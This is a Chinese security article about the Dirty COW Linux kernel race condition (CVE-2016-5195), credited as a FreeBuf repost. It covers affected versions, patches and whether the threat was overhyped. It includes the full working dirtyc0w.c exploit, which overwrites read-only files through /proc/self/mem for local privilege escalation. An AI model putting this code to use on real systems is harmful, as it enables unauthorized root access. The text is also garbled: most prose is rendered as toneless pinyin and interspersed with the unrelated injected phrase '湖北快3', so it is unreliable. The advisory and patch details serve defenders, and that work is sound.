湖北快3

这个名叫Dirty COW，也就是脏牛的漏洞，存在Linux内核中已经有长达9年的时间，也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。

漏洞编号：

cve-2016-5195 

漏洞名称：

dirty cow 

漏洞危害：

湖北快3diquanxianyonghuliyonggailoudongkeyizaizhongduolinuxxitongshangshixianbenditiquan 

影响范围：

linux kernel >= 2.6.22（2007nianfaxing，daojinnian10yue18ricaixiufu） 

漏洞概述：

湖北快3gailoudongjutiwei，linuxneihedeneicunzixitongzaichulixierushifuzhi（copy-on-write, cow）shichanshenglejingzhengtiaojian（race condition）。eyiyonghukeliyongciloudong，laihuoqugaoquanxian，duizhiduneicunyingshejinxingxiefangwen。（a race condition was found in the way the linux kernel’s memory subsystem handled the copy-on-write (cow) breakage of private read-only memory mappings.） 

jingzhengtiaojian，zhideshirenwuzhixingshunxuyichang，kedaozhiyingyongbengkui，huolinggongjizheyoujikecheng，jinyibuzhixingqitadaima。liyongzheiyiloudong，gongjizhekezaiqimubiaoxitongtishengquanxian，shenzhikenenghuoderootquanxian。 

湖北快3genjuguanfangfabudebudingxinxi，zheigewentikeyizhuisudao2007nianfabudelinuxneihe。xianzaihaimeiyourenhezhengjubiaoming，2007nianhoushifouyouheikeliyonglezheigeloudong。buguoanquanzhuanjiaphil oesterchengfaxianyiminggongjizheliyonggailoudongbushugongji，bingxiangred hattongbaolezuijindegongjishijian。 

修复方法：

jinxinglinuxneiheweihudegreg kroah-hartmanxuanbuzhenduilinux 4.8、4.7he4.4 ltsneihexiliedeweihugengxin（gengxinhouweilinux kernel 4.8.3、4.7.9he4.4.26 lts），xiufulegailoudong。muqianxinbanbenyijingdenglugegnu/linuxfaxingbanku，baokuoarch linux（ceshizhong）、solushesuoyoushouzhichibanbendeubuntu。debiankaifarenyuanqiantianyexuanbuwendingbandebian gnu/linux 8 “jessei”xilieneihezhongyaogengxin——bencigengxinzonggongxiufu4gelinuxneiheanquanloudong，qizhongyebaokuolezangniu。 

gecaozuoxitonggongyingshangyinggaijikexiazailinux kernel 4.8.3、linux kernel 4.7.9helinux kernel 4.4.26 lts，weiyonghutigongwendingbanqudaogengxin。 

湖北快3ruanjiankaifarenyuankeyitongguo zhongxinbianyilinuxxiufuciloudong。

漏洞POC：

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: http://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: http://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

安全公司高估了“脏牛”的威胁？

suiranzheigeloudongjintianzhanjulegedaanquanmeitidetoutiao，danshijishangtaduilinuxshengtaixitongkenengbingmeiyougouchengzhimingweixie，dangranyonghuhaishiyinggaijishigengxinxitong。 

湖北快3faxiangailoudongdeanquanyanjiurenyuanrenwei，mouxieanquangongsiguodukuadalezheigeloudongdeweihai——weilechaofengleneixiekuadaciloudongderen，tamentebiewei“zangniu”zuolelogohezhuye，shele，haikailege，dianlidediannaobaoshoujiajinzai1.71wanmeiyuan（shangwanleni），shangmianyouzangniudelogoe，suanshixiangdangyouchengyidezhoubian。

huasuiruci，“zangniu”loudonggouchengdeweixiehaishizhenshicunzaide。zaijieshouv3decaifangshi，oesterpilu，yougongjizheshangchuanbingzhixingcve-2016-5195loudongliyong，gongjiletaguanlidemougewangzhan。oesterbiaoshi：“zheigeloudongniandaijiuyuan，keyiyingxiangdaoxuduonianqianfabudelinuxneihe。suoyoulinuxyonghudouyingyansuduidaizheigeloudong，jishixiufuxitong。” 

* 转载自FreeBuf（FreeBuf.COM）